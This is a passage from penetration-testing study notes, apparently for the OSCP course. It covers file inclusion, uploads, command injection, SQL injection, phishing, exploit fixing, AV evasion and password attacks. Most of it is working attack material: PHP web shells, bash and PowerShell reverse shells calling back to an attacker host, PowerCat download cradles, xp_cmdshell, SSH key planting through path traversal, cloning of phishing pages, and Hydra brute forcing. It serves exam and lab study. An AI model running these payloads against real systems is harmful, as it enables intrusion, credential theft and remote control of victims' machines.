  • On Windows try both ../ and ..\. There is no generic SSH key target; research app-specific config paths.
  • PHP file shown as source = traversal (read only). PHP file executed = file inclusion (RCE candidate).

Local File Inclusion and Log Poisoning

# 1. read the log through the LFI to see which fields you control (User-Agent is logged)
kali@kali:~$ curl http://<TARGET>/index.php?page=../../../../../../../../../var/log/apache2/access.log
# 2. poison: in Burp Repeater set the User-Agent header to this snippet and send ONCE
<?php echo system($_GET['cmd']); ?>
# 3. include the log and pass a command; remove the User-Agent payload from later requests (or commands run twice)
GET /index.php?page=../../../../../../../../../var/log/apache2/access.log&cmd=ps
# spaces break the request: cmd=ls%20-la
# 4. reverse shell: system() may run sh, which lacks >&, so wrap it in bash -c
bash -c "bash -i >& /dev/tcp/<LHOST>/4444 0>&1"
# same, URL encoded for the cmd parameter
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F<LHOST>%2F4444%200%3E%261%22
# catch it
kali@kali:~$ nc -nvlp 4444
# www-data@...:/var/www/html/meteor$
  • Windows/XAMPP: the same PHP snippet works; the log is C:\xampp\apache\logs\access.log.
  • JSP, ASP, ASP.NET, Perl and Node.js apps have LFI too: poison with code in that language.

PHP Wrappers

# php://filter shows PHP source instead of running it (no allow_url_include needed); hunt DB creds and logic
# without convert.base64-encode the code still executes and you see nothing new
kali@kali:~$ curl http://<TARGET>/index.php?page=php://filter/convert.base64-encode/resource=admin.php
kali@kali:~$ echo "<BASE64>" | base64 -d
# decoded admin.php held $servername/$username/$password for MySQL: reuse them for the DB and SSH

# data:// runs code without a poisonable file (needs allow_url_include=On, off by default)
kali@kali:~$ curl "http://<TARGET>/index.php?page=data://text/plain,<?php%20echo%20system('ls');?>"

# a filter blocks strings like "system": base64 the snippet
kali@kali:~$ echo -n '<?php echo system($_GET["cmd"]);?>' | base64
PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==
kali@kali:~$ curl "http://<TARGET>/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls"

Remote File Inclusion

# needs allow_url_include; serve a Kali web shell and include it over HTTP (SMB also works)
kali@kali:~$ cd /usr/share/webshells/php/
kali@kali:/usr/share/webshells/php$ python3 -m http.server 80
kali@kali:~$ curl "http://<TARGET>/index.php?page=http://<LHOST>/simple-backdoor.php&cmd=ls"
# <!-- Simple PHP backdoor by DK (http://michaeldaw.org) -->

# full shell: include /usr/share/webshells/php/php-reverse-shell.php (Pentestmonkey) with $ip and $port edited
kali@kali:~$ nc -nvlp 4444

File Upload Attacks

# learn what the form accepts and where files land (often uploads/); XAMPP icon in the tab = Windows stack
kali@kali:~$ echo "this is a test" > test.txt

# .php blocked by a blacklist: try .phps, .php7, .phtml or mixed case .pHP (the course used .pHP)
kali@kali:~$ cp /usr/share/webshells/php/simple-backdoor.php simple-backdoor.pHP
kali@kali:~$ curl http://<TARGET>/meteor/uploads/simple-backdoor.pHP?cmd=dir
# Directory of C:\xampp\htdocs\meteor\uploads

# the app lets you rename files: upload as .txt, rename to .php
# uploading the same file twice can leak "file exists" or stack details in errors
# SVG uploads (avatars) are XXE / XSS candidates

PowerShell Encoded Reverse Shell (pwsh on Kali)

# build the -enc blob on Kali; -enc wants base64 of UTF-16LE (Unicode) text, any other charset fails
kali@kali:~$ pwsh
PS> $Text = '$client = New-Object System.Net.Sockets.TCPClient("<LHOST>",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
PS> $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
PS> $EncodedText =[Convert]::ToBase64String($Bytes)
PS> $EncodedText
PS> exit
# listener, then fire it through the web shell (space = %20)
kali@kali:~$ nc -nvlp 4444
kali@kali:~$ curl http://<TARGET>/meteor/uploads/simple-backdoor.pHP?cmd=powershell%20-enc%20<BASE64>
# PS C:\xampp\htdocs\meteor\uploads> whoami -> nt authority\system in the course example

Non-Executable Uploads: Traversal in the File Name

# files are stored but never executed: put ../ in the multipart filename (blind, the response just echoes it)
# apps with built-in servers (Node, Python, Go) often run as root -> overwrite root's authorized_keys
kali@kali:~$ ssh-keygen
# Enter file in which to save the key (/home/kali/.ssh/id_rsa): fileup   (empty passphrase)
kali@kali:~$ cat fileup.pub > authorized_keys
# Burp intercept on, upload authorized_keys, edit the multipart header to:
#   filename="../../../../../../../root/.ssh/authorized_keys"
# host key changed for a reused hostname:port, so clear known_hosts first
kali@kali:~$ rm ~/.ssh/known_hosts
kali@kali:~$ ssh -p 2222 -i fileup root@<TARGET>
# blind overwrites can destroy data on real engagements
# usual accounts: Apache/Nginx www-data; IIS 7.5+ Network Service or the App Pool identity; Node/Python/Go often root

OS Command Injection

# feature wraps a CLI tool (git clone, ping) and echoes it: the bare command is blocked
kali@kali:~$ curl -X POST --data 'Archive=ipconfig' http://<TARGET>:8000/archive
# Command Injection detected. Aborting...

# backtrack to what works; git version also fingerprints the OS (Git for Windows prints .windows.)
kali@kali:~$ curl -X POST --data 'Archive=git version' http://<TARGET>:8000/archive

# chain a second command with an encoded ; (%3B); && also chains, single & works in CMD
kali@kali:~$ curl -X POST --data 'Archive=git%3Bipconfig' http://<TARGET>:8000/archive
# CMD or PowerShell? (PetSerAl snippet) prints CMD or PowerShell
(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell
# the snippet URL encoded and injected
kali@kali:~$ curl -X POST --data 'Archive=git%3B(dir%202%3E%261%20*%60%7Cecho%20CMD)%3B%26%3C%23%20rem%20%23%3Eecho%20PowerShell' http://<TARGET>:8000/archive

# PowerShell context: serve PowerCat, listen, inject a download cradle
kali@kali:~$ cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .
kali@kali:~$ python3 -m http.server 80
kali@kali:~$ nc -nvlp 4444
kali@kali:~$ curl -X POST --data 'Archive=git%3BIEX%20(New-Object%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F<LHOST>%2Fpowercat.ps1%22)%3Bpowercat%20-c%20<LHOST>%20-p%204444%20-e%20powershell' http://<TARGET>:8000/archive
# cues: "GET /powercat.ps1 HTTP/1.1" 200 on the web server, then a PS prompt on the listener
# the cradle before URL encoding (-c connect host, -p port, -e program to run)
IEX (New-Object System.Net.Webclient).DownloadString("http://<LHOST>/powercat.ps1");powercat -c <LHOST> -p 4444 -e powershell
  • Linux context: inject the bash -c "bash -i >& /dev/tcp/<LHOST>/4444 0>&1" shell from the LFI block instead.

URL Encoding Quick Table

CharEncodedCharEncoded
space%20.%2e
;%3B/%2F
"%22:%3A
>%3E<%3C
&%26#%23
|%7Cbacktick%60

6. SQL Injection

Theory: SQL Injection

SQLi exists when request input is concatenated into a query string without filtering. Put a single quote into every field and parameter: a SQL syntax error means you are talking to the database. Error-based and UNION payloads are in-band (results come back in the page); blind payloads infer results from page behaviour or response time. Code execution depends on the DBMS: MSSQL has xp_cmdshell, MySQL needs INTO OUTFILE into a writable web folder. sqlmap is forbidden in the exam, so everything below except the last block is manual.

Database Clients for MySQL and MSSQL

# MySQL/MariaDB on 3306 with known creds; on "ERROR 2026 (HY000) TLS/SSL error" append --skip-ssl
kali@kali:~$ mysql -u root -p'root' -h <TARGET> -P 3306 --skip-ssl-verify-server-cert
MySQL [(none)]> select version();
MySQL [(none)]> select system_user();
MySQL [(none)]> show databases;
# password hashes (MySQL 8: caching_sha2_password); this root is the DB root, not the OS root
MySQL [mysql]> SELECT user, authentication_string FROM mysql.user WHERE user = 'offsec';
# MSSQL with Windows creds over TDS; -windows-auth forces NTLM instead of Kerberos
kali@kali:~$ impacket-mssqlclient <USER>:<PASS>@<TARGET> -windows-auth
# version, also leaks the Windows Server version and build
SQL> SELECT @@version;
# master, tempdb, model, msdb are defaults: look at the custom ones
SQL> SELECT name FROM sys.databases;
SQL> SELECT * FROM offsec.information_schema.tables;
# the dbo schema sits between database and table
SQL> select * from offsec.dbo.users;
# local sqlcmd needs GO on its own line after each statement; not needed over TDS

Error-Based SQLi Payloads

# source review: $_POST/$_GET concatenated into the SQL string, e.g. "... WHERE user_name= '$uname' AND password='$passwd'"
# test order: valid-looking login -> "Invalid Password"; username + ' -> SQL syntax error = injectable
# login bypass: close the quote, always-true OR, comment out the rest (returns the first user, often admin)
# "-- " needs a trailing whitespace; the course appends // so truncation cannot eat it
offsec' OR 1=1 -- //
# leak the version through the error message
' or 1=1 in (select @@version) -- //
# one column per subquery (SELECT * fails); add WHERE to tie a hash to its user
' or 1=1 in (SELECT password FROM users) -- //
' or 1=1 in (SELECT password FROM users WHERE username = 'admin') -- //

UNION-Based SQLi Payloads

# needs the same column count and compatible types; query: SELECT * from customers WHERE name LIKE '<input>%'
# 1. column count: raise N until it errors (ORDER BY 6 errors -> 5 columns); the page showed only 4
' ORDER BY 1-- //
# 2. which columns are displayed
%' UNION SELECT 'a1', 'a2', 'a3', 'a4', 'a5' -- //
# 3. column 1 is usually the hidden integer id: move string functions to the right-most columns
' UNION SELECT null, null, database(), user(), @@version -- //
# 4. tables and columns of the current database
' union select null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database() -- //
# 5. dump the credentials table (MD5 hashes in the lab: crack them, section 10)
' UNION SELECT null, username, password, description, null FROM users -- //

Blind SQLi Payloads

# boolean: the record shows only when the condition (and the user) is true; always compare with a fake user
http://<TARGET>/blindsqli.php?user=offsec' AND 1=1 -- //
# time-based: a delay of about 3 seconds = true
http://<TARGET>/blindsqli.php?user=offsec' AND IF (1=1, sleep(3),'false') -- //

MSSQL xp_cmdshell

# xp_cmdshell is off by default; order matters and every change needs RECONFIGURE
SQL> EXECUTE sp_configure 'show advanced options', 1;
SQL> RECONFIGURE;
SQL> EXECUTE sp_configure 'xp_cmdshell', 1;
SQL> RECONFIGURE;
# call it with EXECUTE, not SELECT; output comes back as rows
SQL> EXECUTE xp_cmdshell 'whoami';
# nt service\mssql$sqlexpress
# course next step is a reverse shell; one way is the section 5 -enc one-liner (listener on 4444 first)
SQL> EXECUTE xp_cmdshell 'powershell -enc <BASE64>';

MySQL INTO OUTFILE Web Shell

# UNION SQLi + web folder writable by the DB's OS user (lab: /var/www/html/tmp)
# the app answers with a return-type error; the file is written anyway
' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- //
# run commands through it (www-data in the lab)
kali@kali:~$ curl http://<TARGET>/tmp/webshell.php?cmd=id

sqlmap (Labs Only, Forbidden in the Exam)

# exam: automated SQLi tools are forbidden on the OSCP exam; manual only
# confirm and fingerprint a GET parameter (dummy value in the URL, accept the default prompts)
kali@kali:~$ sqlmap -u http://<TARGET>/blindsqli.php?user=1 -p user
# Parameter: user (GET) ... Type: time-based blind
# dump the current database (no -D = current DB; the time-based dump took about 25 minutes)
kali@kali:~$ sqlmap -u http://<TARGET>/blindsqli.php?user=1 -p user --dump
# OS shell through an in-band POST injection saved from Burp to post.txt (time-based is too slow for a shell)
kali@kali:~$ sqlmap -r post.txt -p item --os-shell --web-root "/var/www/html/tmp"
# choose PHP (4); quit with x or q
os-shell> id
# command standard output: 'uid=33(www-data) gid=33(www-data) groups=33(www-data)'

7. Client-side Attacks and Phishing

Theory: Client-side Attacks

When no exposed service gives a foothold, the course targets the user: recon first to learn the OS, browser and Office version, then a file or link that runs code when opened. Two vectors are built: a Word macro, and a Windows library file that opens an attacker WebDAV share holding a malicious shortcut. Both end in the same PowerCat download cradle, so the attacker side is a web server for powercat.ps1 plus a netcat listener.

Target Reconnaissance: Metadata and Fingerprinting

# find published documents: dork site:<DOMAIN> filetype:pdf, or brute force by extension (noisy, logged on target)
kali@kali:~$ gobuster dir -u http://<TARGET> -w /usr/share/wordlists/dirb/common.txt -x pdf

# metadata: -a duplicate tags, -u unknown tags
kali@kali:~/Downloads$ exiftool -a -u brochure.pdf
# Author: an internal name for the pretext; Create/Modify Date: how current the document is
# Producer "Microsoft(R) PowerPoint(R) for Microsoft 365": Office on Windows (no "for Mac" / "macOS")
  • Canarytokens: create a "Web bug / URL token" and send the link under a pretext. The History page shows IP, geolocation, user agent (spoofable) and a JavaScript fingerprint of browser and OS (reliable). Grabify and fingerprint.js do the same.
  • Use it to confirm the vector: an HTA attack needs Windows with IE/Edge; the lab victim showed Chrome on macOS, so that vector was dropped.

Office Macro Vector

The course (PEN-200 12.2.3) builds a VBA macro in a Word document that runs at open (AutoOpen plus Document_Open) and launches a base64 UTF-16LE powershell.exe -nop -w hidden -enc PowerCat download cradle. VBA string literals are capped at 255 characters, so the course splits the encoded command into 50-character pieces with a short Python helper and concatenates them into one string variable. The full macro is in the course section and is not reproduced here.

# attacker side for the macro and the shortcut vectors: PowerCat on a web server plus a listener
kali@kali:~$ cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .
kali@kali:~$ python3 -m http.server 80
kali@kali:~$ nc -nvlp 4444
# the cradle the course encodes (encode with pwsh as in section 5):
# IEX(New-Object System.Net.WebClient).DownloadString('http://<LHOST>/powercat.ps1');powercat -c <LHOST> -p 4444 -e powershell
  • Save as .doc or .docm (a .docx does not keep the macro) and set "Macros in" to the document, not the global template.
  • The victim has to click Enable Content; the prompt only returns when the file name changes.
  • Mark of the Web puts downloaded files in Protected View and Office blocks their macros by default, so the pretext must get the user to unblock the file. Deliver through a link rather than an attachment (filters strip Office files).
  • DDE and OLE vectors no longer work reliably. Lab: upload as ticket.doc to TICKETS on port 8000; a simulated user opens it within about 3 minutes.

Windows Library File and Shortcut Delivery

# stage 1 host: anonymous WebDAV share on Kali port 80; check http://127.0.0.1 shows test.txt
kali@kali:~$ sudo apt install python3-wsgidav
kali@kali:~$ mkdir /home/kali/webdav
kali@kali:~$ touch /home/kali/webdav/test.txt
kali@kali:~$ wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/webdav/
# INFO : Serving on http://0.0.0.0:80 ..
# config.Library-ms points Explorer at the share; the nav bar only reads "config"
# <name> uses windows.storage.dll (not shell32) to dodge text filters; imageres.dll,-1003 = Pictures icon (-1002 Documents)
# folderType GUID = Documents template; the course writes the file on the Windows client, the XML is identical
kali@kali:~$ cat > /home/kali/webdav/config.Library-ms <<'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
<name>@windows.storage.dll,-34582</name>
<version>6</version>
<isLibraryPinned>true</isLibraryPinned>
<iconReference>imageres.dll,-1003</iconReference>
<templateInfo>
<folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
</templateInfo>
<searchConnectorDescriptionList>
<searchConnectorDescription>
<isDefaultSaveLocation>true</isDefaultSaveLocation>
<isSupported>false</isSupported>
<simpleLocation>
<url>http://<LHOST></url>
</simpleLocation>
</searchConnectorDescription>
</searchConnectorDescriptionList>
</libraryDescription>
EOF
# stage 2: shortcut target (Desktop > New > Shortcut, named automatic_configuration), copied into the WebDAV folder
# append a delimiter + harmless command to push this out of view in the shortcut's properties
powershell.exe -c "IEX(New-Object System.Net.WebClient).DownloadString('http://<LHOST>:8000/powercat.ps1'); powercat -c <LHOST> -p 4444 -e powershell"
# PowerCat from a separate web server on 8000 (not the writable WebDAV share, where AV may quarantine it)
kali@kali:~$ python3 -m http.server 8000
kali@kali:~$ nc -nvlp 4444
# deliver the library file (email in reality; the lab drops it on an SMB share)
kali@kali:~$ cd webdav
kali@kali:~/webdav$ rm test.txt
kali@kali:~/webdav$ smbclient //<TARGET>/share -c 'put config.Library-ms'
# putting file config.Library-ms as \config.Library-ms
# user opens config, double-clicks automatic_configuration -> PS prompt (hr137\hsmith in the lab)
  • After first use Windows rewrites <url> to \\<ip>\DavWWWRoot and adds a <serialized> tag: reset the file to the XML above before each delivery.
  • The lab removes the library file from the share after each run; deliver it again to retest. Pretext used: a new IT team member asking staff to run the automatic configuration.

Phishing Basics Module

# module 11 at tool level (no credential-capture page or server code here); AI chatbots are forbidden in the exam
# pretext: the course feeds a real mail from a compromised internal mailbox to an LLM to copy its tone and add a link
# clone attempt 1: -E fix extensions, -k local links, -K keep .orig, -p page requisites, -nd flat folder
kali@kali:~/ZoomSignin$ wget -E -k -K -p -e robots=off -nd "https://zoom.us/signin#/login"
# the wget clone breaks on externally hosted JS (CSRFGuard alert); SingleFile saves the rendered page as one file
kali@kali:~/ZoomSignin$ single-file "https://zoom.us/signin" signin.html --browser-executable-path /usr/bin/chromium
# serve the clone (its JS-driven login and cookie banner have to be rebuilt by hand)
kali@kali:~/ZoomSignin$ sudo python3 -m http.server 80
  • MFA bypass concepts the course names: prompt bombing (MFA fatigue), relaying the code from the phishing page at once (short-lived, single use), browser in the middle (cuddlephish, needs a public IP), brute forcing a 6-digit code (only with unlimited attempts), calling as helpdesk to ask for the code, and SIM swapping (criminal, out of scope for real tests).
  • Plan around email filters (domain reputation and age, EXE/SCR and Office attachments flagged, [EXTERNAL] subject tags), Mark of the Web, and password managers that only autofill the real domain.
  • A link or embedded SMB image that forces NTLM authentication leaks a Net-NTLMv2 hash (Responder, section 10).

8. Locating and Fixing Public Exploits

Theory: Public Exploits

Check every service and exact version against public exploits: searchsploit offline, Exploit-DB, Packet Storm, GitHub, Google operators and NSE. Public code is often wrong for your target (IP, path, return address, TLS, token names) and sometimes malicious, so read it before you run it. Copy it out of the archive with searchsploit -m, fix it, and log each change: the report needs the modified code, the original URL, the shellcode command and an explanation of every edit.

Vetting and Searching

# red flags: wants root on your box, hex blobs, outbound IRC; decode "shellcode" before running anything
kali@kali:~$ python3
>>> jmpcode = ["\x72\x6D\x20\x2D\x72\x66\x20\x7e\x20\x2F\x2A\x20\x32\x3e\x20\x2f" "\x64\x65\x76\x2f\x6e\x75\x6c\x6c\x20\x26"]
>>> print(jmpcode)
['rm -rf ~ /* 2> /dev/null &']

# web search restricted to a trusted site (also inurl, intext, intitle)
kali@kali:~$ firefox --search "Microsoft Edge site:exploit-db.com"

# update the offline copy, then search (AND match, case-insensitive, matches version ranges)
kali@kali:~$ sudo apt update && sudo apt install exploitdb
kali@kali:~$ searchsploit remote smb microsoft windows
# title only / strict versions / drop noise / full path / web URL / JSON
kali@kali:~$ searchsploit -t oracle windows
kali@kali:~$ searchsploit -s Apache Struts 2.0.0
kali@kali:~$ searchsploit linux kernel 3.2 --exclude="(PoC)|/dos/"
kali@kali:~$ searchsploit -p 39446
kali@kali:~$ searchsploit -w <TERM>
kali@kali:~$ searchsploit -j 55555 | json_pp

# copy to the current folder before editing (in-place edits are lost on the next exploitdb update)
kali@kali:~$ searchsploit -m windows/remote/48537.py
kali@kali:~$ searchsploit -m 42031

# NSE scripts that exploit something, and their categories
kali@kali:~$ grep Exploits /usr/share/nmap/scripts/*.nse
kali@kali:~$ nmap --script-help=clamav-exec.nse
CheckWhy
Exploit-DB V (verified), Type remote/webapp, exact version, newest variant (v2)fewest surprises
Entries tagged (Metasploit) / .rb# exam: counts as Metasploit module use; prefer the .py / .c variant
GitHub PoCsnot curated, backdoor risk; read every line (OffSec exploitdb-bin-sploits holds pre-compiled binaries)
Known IDs from the courseSMBGhost 48537, EternalBlue 42031 / 42315 / 42030, qdPM 9.1 50944, Sync Breeze 42928 / 42341, CMSMS 2.2.5 44976

Worked Example: qdPM 9.1 Authenticated RCE

# version sits in the footer/source (qdPM 9.1); staff emails from About Us; site wordlist with cewl
kali@kali:~$ cewl http://<TARGET>/ -w wordlist.txt

# CSRF-protected login: fetch a fresh token per try, keep the session cookie, do not follow the 302,
# drop failures by content length (failure 116, success 111)
kali@kali:~$ patator http_fuzz \
url=http://<TARGET>/project/index.php/login \
method=POST \
body='login[_csrf_token]=_TOKEN_&login[email]=FILE0&login[password]=FILE1&http_referer=' \
0=emails.txt \
1=wordlist.txt \
before_urls=http://<TARGET>/project/index.php/login \
before_egrep='_TOKEN_:name="login\[_csrf_token\]"[^>]*value="([^"]*)"' \
accept_cookie=1 \
follow=0 \
-x ignore:clen=116
# 302 847:111 0.163 | george@AIDevCorp.org:AIDevCorp | 641 | HTTP/1.1 302 Found

# arguments come from the exploit's usage section; it prints an error but the upload works
kali@kali:~$ searchsploit -m 50944
kali@kali:~$ python3 50944.py -url http://<TARGET>/project/ -u <USER> -p <PASS>
# Backdoor uploaded at - > http://<TARGET>/project/uploads/users/420919-backdoor.php?cmd=whoami

# --data-urlencode handles the URL encoding; curl hangs once the shell connects (expected)
kali@kali:~$ curl http://<TARGET>/project/uploads/users/420919-backdoor.php --data-urlencode "cmd=which nc"
kali@kali:~$ nc -lvnp 6666
kali@kali:~$ curl http://<TARGET>/project/uploads/users/420919-backdoor.php --data-urlencode "cmd=nc -nv <LHOST> 6666 -e /bin/bash"

Fixing a Memory Corruption Exploit (Sync Breeze 10.0.28)

# exact product + version; skip the DoS PoC; the verified Python exploit (42928) supplies working values
kali@kali:~$ searchsploit "Sync Breeze Enterprise 10.0.28"
kali@kali:~$ searchsploit -m 42341
# Windows headers (winsock2.h, windows.h): cross-compile on Kali
kali@kali:~$ sudo apt install mingw-w64
# "undefined reference to `_imp__WSAStartup@8'" = winsock not linked: add -lws2_32
kali@kali:~$ i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe -lws2_32
FixChange
1. Targetinet_addr("<TARGET>"), htons(80), plus the Host: and Referer: header strings
2. Return addressoriginal points into msvbvm60.dll, not loaded by syncbrs (Immunity: Attach, View > Executable modules); use 0x10090c83
3. Shellcodenever trust opaque hex: regenerate with msfvenom, keep the NOP slide line
4. Offset780 -> 781: the terminating NULL makes strcat copy one byte less (EIP showed 0x9010090c)
// fix 2: JMP ESP from the verified Python exploit (non-ASLR app module; never system DLLs under ASLR)
unsigned char retn[] = "\x83\x0c\x09\x10"; // 0x10090c83
// fix 4: one extra byte because the last one becomes the NULL terminator
int initial_buffer_size = 781;
char *padding = malloc(initial_buffer_size);
memset(padding, 0x41, initial_buffer_size);
memset(padding + initial_buffer_size - 1, 0x00, 1);
# fix 3: x86, C format, EXITFUNC=thread, bad chars from the Python exploit (the course listing shows an en dash in -e: type a hyphen)
# exam: allowed on all targets (msfvenom/multi/handler)
kali@kali:~$ msfvenom -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=443 EXITFUNC=thread -f c -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d"
# Payload size: 351 bytes
# recompile, listen on the LPORT, run the PE from Kali with wine
# (debug first: Immunity Ctrl+G to 0x10090c83, F2 breakpoint)
kali@kali:~$ i686-w64-mingw32-gcc 42341.c -o syncbreeze_exploit.exe -lws2_32
kali@kali:~$ sudo nc -lvp 443
kali@kali:~$ wine syncbreeze_exploit.exe
# listener: Microsoft Windows [Version 10.0.10240] ... C:\Windows\system32>

Fixing a Web Exploit (CMS Made Simple 2.2.5)

Before running a public web exploit: HTTP or HTTPS, which path or route, pre-auth or how it authenticates, how the requests are built, which defaults it assumes, and whether a self-signed certificate breaks it. Public web exploits do not account for .htaccess rules or WAFs.

# EDB 44976 (CVE-2018-1000094) is Python 2 (print "..."): fix URL, TLS and creds
base_url = "https://<TARGET>/admin"
username = "admin"
password = "HUYfaw763"
# add verify=False to all three requests.post calls (self-signed cert)
response = requests.post(url, data=data, allow_redirects=False, verify=False)
# "IndexError: list index out of range" in parse_csrf_token: print what is being split
def parse_csrf_token(location):
    print "[+] String that is being split: " + location
    return location.split(csrf_param + "=")[1]
# the output showed ?_sk_=... so this install uses _sk_, not __c
csrf_param = "_sk_"
# run with python2; the InsecureRequestWarning is expected after verify=False
kali@kali:~$ python2 44976_modified.py
# [+] Exploit succeeded, shell can be found at: https://<TARGET>/uploads/shell.php
# verify independently; -k ignores the self-signed cert
kali@kali:~$ curl -k https://<TARGET>/uploads/shell.php?cmd=whoami

9. Antivirus Evasion

Theory: what module 15 covers

Module 15 explains how AV engines detect (signatures, heuristics, behaviour, machine learning), the difference between on-disk and in-memory evasion, and then shows two practical approaches in the lab: a PowerShell script that injects shellcode into memory, and Shellter, which automates injecting a payload into a legitimate Windows executable. The course's own verdict: every public technique gets signatured, so test on a throwaway copy of the target's AV, not on VirusTotal (uploading an exam payload shares it with every vendor). The module text itself is not reproduced here; read PEN-200 15.3 for the listings.

Exam view: OSCP+ exam machines are not built around AV evasion. If a payload dies on execution, first rule out the simple causes (wrong architecture, staged payload caught with nc, firewall on LPORT), then switch format or delivery.

Quick checks when a payload dies

# Is there AV at all? (Windows)
PS C:\> Get-MpComputerStatus | select AMRunningMode, RealTimeProtectionEnabled, AntivirusEnabled
PS C:\> Get-MpPreference | select ExclusionPath, ExclusionExtension, ExclusionProcess     # exclusions = where to drop files
C:\> sc query windefend
C:\> wmic /namespace:\root\SecurityCenter2 path AntiVirusProduct get displayName

# Architecture and format mismatches are more common than AV: check first
PS C:\> [Environment]::Is64BitOperatingSystem
C:\> echo %PROCESSOR_ARCHITECTURE%

Course tooling (standard usage)

# Shellter: inject the payload into a trusted 32-bit executable (course uses it in automatic mode)
kali@kali:~$ sudo apt install shellter wine
kali@kali:~$ shellter
# A (auto) -> PE target (for example a 32-bit setup.exe) -> Y stealth -> L (listed payload) -> 1 meterpreter_reverse_tcp -> LHOST/LPORT
# exam: a Meterpreter payload makes this your one Metasploit machine; pick a plain shell payload elsewhere (custom payload option, raw shellcode from msfvenom)

# msfvenom encoders and iterations (weak against modern AV; still the course's first example)
kali@kali:~$ msfvenom -p windows/shell_reverse_tcp LHOST=<KALI_IP> LPORT=443 -e x86/shikata_ga_nai -i 9 -f exe -o shell.exe
kali@kali:~$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=<KALI_IP> LPORT=443 -x /usr/share/windows-resources/binaries/plink.exe -k -f exe -o plink_shell.exe

# In-memory execution (concept): download and execute PowerShell in the current process instead of writing an EXE
PS C:\> powershell -ep bypass -c "IEX(New-Object System.Net.WebClient).DownloadString('http://<KALI_IP>/powercat.ps1'); powercat -c <KALI_IP> -p 443 -e powershell"
# Checking a sample without feeding VirusTotal: the course names antiscan.me as the no-distribution scanner

10. Password Attacks

Password Attack Theory

Online attacks (Hydra) go against a live login and are slow, noisy and stopped by lockout, WAF or fail2ban. Offline attacks (hashcat, John the Ripper) crack captured hashes as fast as your hardware allows. On Windows, admin rights give you SAM and LSASS hashes to crack or pass; low-privileged code execution still gives you a Net-NTLMv2 hash to crack or relay. Spray every plaintext password you find against every user and service, because reuse is the norm. Course rule: if a lab password attack runs longer than about three minutes, the wordlist, user or vector is wrong.

Hydra SSH Dictionary Attack

# when: SSH is open and you know or can guess one username. Confirm the service first (course SSH is on 2222)
kali@kali:~$ sudo nmap -sV -p 2222 <TARGET>
# 2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)

# rockyou ships gzipped on Kali: unpack it once
kali@kali:~$ cd /usr/share/wordlists/
kali@kali:~$ sudo gzip -d rockyou.txt.gz

# dictionary attack: -l one user, -P password list, -s non-standard port, target as ssh://IP
kali@kali:~$ hydra -l <USER> -P /usr/share/wordlists/rockyou.txt -s 2222 ssh://<TARGET>
# [2222][ssh] host: <TARGET> login: george password: chocolate
# no usernames: enumerate them first, or try the built-ins root (Linux) / Administrator (Windows)
# the username format (first name only) tells you the naming convention for other users

Hydra RDP Password Spraying

# when: you hold one plaintext password (file, note, leak, cracked hash) and want to test it on many users
# add the real usernames you found to the list
kali@kali:~$ echo -e "daniel\njustin" | sudo tee -a /usr/share/wordlists/dirb/others/names.txt

# spray: -L user list, -p one password
kali@kali:~$ hydra -L /usr/share/wordlists/dirb/others/names.txt -p "<PASS>" rdp://<TARGET>
# [3389][rdp] host: <TARGET> login: daniel password: SuperS3cure1337#
# "[ERROR] freerdp: The connection failed to establish." lines appear next to valid hits: ignore them
# names.txt has 8000+ entries (about 15 minutes); a two-line file with the real names is much faster

Hydra HTTP POST Login Form

# when: a web login is the only vector and default creds failed (read the app docs: TinyFileManager has admin and user)
# 1. intercept one failed login in Burp (Proxy > Intercept) to copy the POST body
# 2. forward it and note the failure message
# 3. http-post-form "<login path>:<POST body with ^PASS^ (and ^USER^)>:<failure string>", target IP without protocol
kali@kali:~$ hydra -l user -P /usr/share/wordlists/rockyou.txt <TARGET> http-post-form "/index.php:fm_usr=user&fm_pwd=^PASS^:Login failed. Invalid"
# [80][http-post-form] host: <TARGET> login: user password: 121212
# keep the failure string short and avoid "password" / "username" in it, or you get false positives
# lockout policy (e.g. 3 attempts), WAF or fail2ban stop this: check the policy before brute forcing

Hash Cracking Basics

# hash a candidate and compare: -n strips the newline, which would change the hash
kali@kali:~$ echo -n "secret" | sha256sum
# 2bb80d537b1da3e38bd30361aa855686bde0eacd7162fef6a25fe97bf527a25b -

# keyspace = charset size ^ password length (62 characters, length 5)
kali@kali:~$ echo -n "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" | wc -c
kali@kali:~$ python3 -c "print(62**5)"
# 916132832

# hash rate of your machine per algorithm (MD5 mode 0, SHA1 100, SHA2-256 1400)
kali@kali:~$ hashcat -b

# cracking time in seconds = keyspace / hash rate (134.2 MH/s = 134200000 hashes per second)
kali@kali:~$ python3 -c "print(916132832 / 134200000)"
# 6.826623189269746
# length grows the time exponentially, charset complexity only polynomially
# SHA-256 on an RTX 3090: 8 chars about 6.5 hours, 10 chars about 2.8 years

Mutating Wordlists with Hashcat Rules

